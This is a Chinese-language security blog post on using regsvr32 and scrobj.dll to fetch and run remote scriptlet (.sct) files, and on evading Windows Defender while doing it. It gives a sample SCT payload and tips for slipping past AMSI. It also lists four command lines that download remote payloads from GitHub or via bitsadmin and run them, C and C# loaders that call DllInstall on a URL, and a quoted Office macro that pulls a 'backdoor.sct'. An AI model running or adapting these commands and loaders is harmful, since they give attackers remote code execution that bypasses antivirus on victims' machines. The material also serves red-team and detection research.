原文鏈接:blog
在對regsvr32的用法進行了解之后,對於Casey Smith的遠程js腳本執行命令的思路很感興趣。
命令語法如下:
regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll
原理則是利用com組件的scriptlet注冊方式,關於scriptlet的介紹可以參考MSDN,差不多就是用腳本形式實現com組件和asp互操作,但其實除了給asp調用之外還可以給其他.net組件調用。
命令中的參數介紹:
- /s: 靜默模式,不彈框
- /n: 不調用
DllRegisterServer
- /u: 卸載com組件
- /i: 傳給
DllInstall
的參數內容 - scrobj.dll: com服務器,全名 Windows Script Component,
DllInstall
方法在這個組件中實現
根據msdn關於DllInstall
的介紹中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允許注冊過程中dll進行一些自定義的安裝過程,該過程在DllInstall
中實現。
該函數原型如下:
HRESULT DllInstall(
BOOL bInstall,
PCWSTR pszCmdLine
);
regsvr32中的/i參數指定的內容,會被直接傳遞到pszCmdLine,/u參數會將false傳遞到bInstall,所以對sct文件的調用肯定在scrobj.dll
中的install過程。
這么看,regsvr32只不過是負責調用dll的一個工具,可能還會有寫入注冊表的功能。
理解到這里之后,我們在defender開啟的情況下嘗試一下這個方法,發現被攔截:
報毒:Backdoor:JS/Relvelshe.A
,看受影響項目是腳本文件,可能是腳本內容沒有過amsi檢測。
文件內容:
<?XML version="1.0"?>
<component id="TESTING">
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</component>
經測試,將new ActiveXObject("WScript.Shell").Run("calc.exe")中字符串提出來賦值給變量就沒問題了(腳本內容太復雜不好改,也可以試試直接hook掉amsiscanbuffer)。
在sct不被殺的情況下,再次執行regsvr32,仍然被攔截:Trojan:Win32/Powemet.A!attk
從報毒中的cmdline可知檢測的是命令行內容,所以在網上可找到的繞過姿勢有四種(參考wh0ale):
- 改變scrobj.dll的名稱
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
- 為scrobj.dll創建符號鏈接
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
- 利用NTFS ADS功能繞過
type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
- 先將sct文件放到本地,然后執行
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll
經過上面分析,其實可以看出來其實可以不用regsvr32.exe,使用他的目的是因為他是windows自帶的,有微軟簽名,如果不考慮這個的情況下其實可以寫程序直接調用scrobj.dll的DllInstall方法實現代碼執行。
對於調用dll導出的函數,我首先想到的使用c實現:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>
int main()
{
TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
HMODULE hDllScr = LoadLibrary(dllpath);
if (hDllScr == NULL)
{
puts("Load scrobj.dll fail!");
}
puts("Load scrobj.dll success!");
printf("Address: %p\n", hDllScr);
void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
if (DllInstallProcAddr == NULL)
{
puts("Can not found DllInstall in scrobj.dll!");
}
printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
//((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
return 0;
}
很不幸,在執行的時候一直報錯:
看這個原因和js有關系,但是無法具體確定哪里的原因,所以沒想很多直接調試,對比regsvr32和他調用scrobj.dll的區別之處,最終發現到scrobj.dll的一處判斷的地方沒通過導致報錯,貌似不是regsvr32做了什么暗箱操作。
調了十多遍,也不知道那處判斷是做什么的,休息了幾天,重新回到這個問題:如何手動調用scrobj.dll對DllInstall傳參?
查了半天資料,終於看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中講了兩點內容:
- 如何不用regsvr32運行遠程com腳本
- 在office宏中調用已經存在磁盤上的dll
第一點正是我所需要的,看了之后發現這位大佬是在office宏中實現的,宏代碼如下:
Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
Sub AutoOpen()
DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") ' False = "Don't install"
End Sub
看代碼,和上面我用c寫的代碼差不多,但是本地在office中用宏測試了一下真的可行。
經過一番思考,發現VB也是基於.net平台的,是不是這個原因,我用c寫的肯定沒有.net環境,改用c#試一下:
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.ComponentModel;
namespace scrobj_call_csharp
{
static class NativeMethod
{
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
}
class Program
{
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);
static void Main(string[] args)
{
const string dllPath = "scrxxobj.dll";
IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
if(hDllScr == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
var innerEx = new Win32Exception(lasterror);
innerEx.Data.Add("LastWin32Error", lasterror);
throw new Exception("Can't load Dll " + dllPath, innerEx);
}
IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));
fDllInstall(false, "http://127.0.0.1\\ttt.txt");
}
}
}
稍微麻煩一點,但是真的調用成功了。如此看來,使用C#或者其他基於.net的代碼直接調用scrobj.dll繞過Defender也是可行的。
經過查資料發現c也可以使用.net環境,在vs中新建一個clr空項目,將cpp文件添加上去編譯即可!